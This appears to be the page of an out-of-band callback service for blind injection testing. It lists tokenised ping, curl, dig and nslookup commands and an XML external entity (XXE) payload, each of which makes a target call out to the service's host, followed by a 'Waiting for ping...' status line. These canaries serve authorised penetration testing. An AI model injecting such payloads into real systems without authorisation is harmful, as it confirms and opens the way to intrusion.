$ ping -c1 -p 001d0359ba517bf42e2225f9443b5300 unhack.ca
 
$ curl http://unhack.ca/p/1d0359ba517bf42e2225f9443b53
 
$ dig 1d0359ba517bf42e2225f9443b53 @unhack.ca
 
$ dig 1d0359ba517bf42e2225f9443b53.ns.unhack.ca
 
C:\> nslookup 1d0359ba517bf42e2225f9443b53 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1d0359ba517bf42e2225f9443b53">]>
    <foo>&xxe;</foo>
Waiting for ping...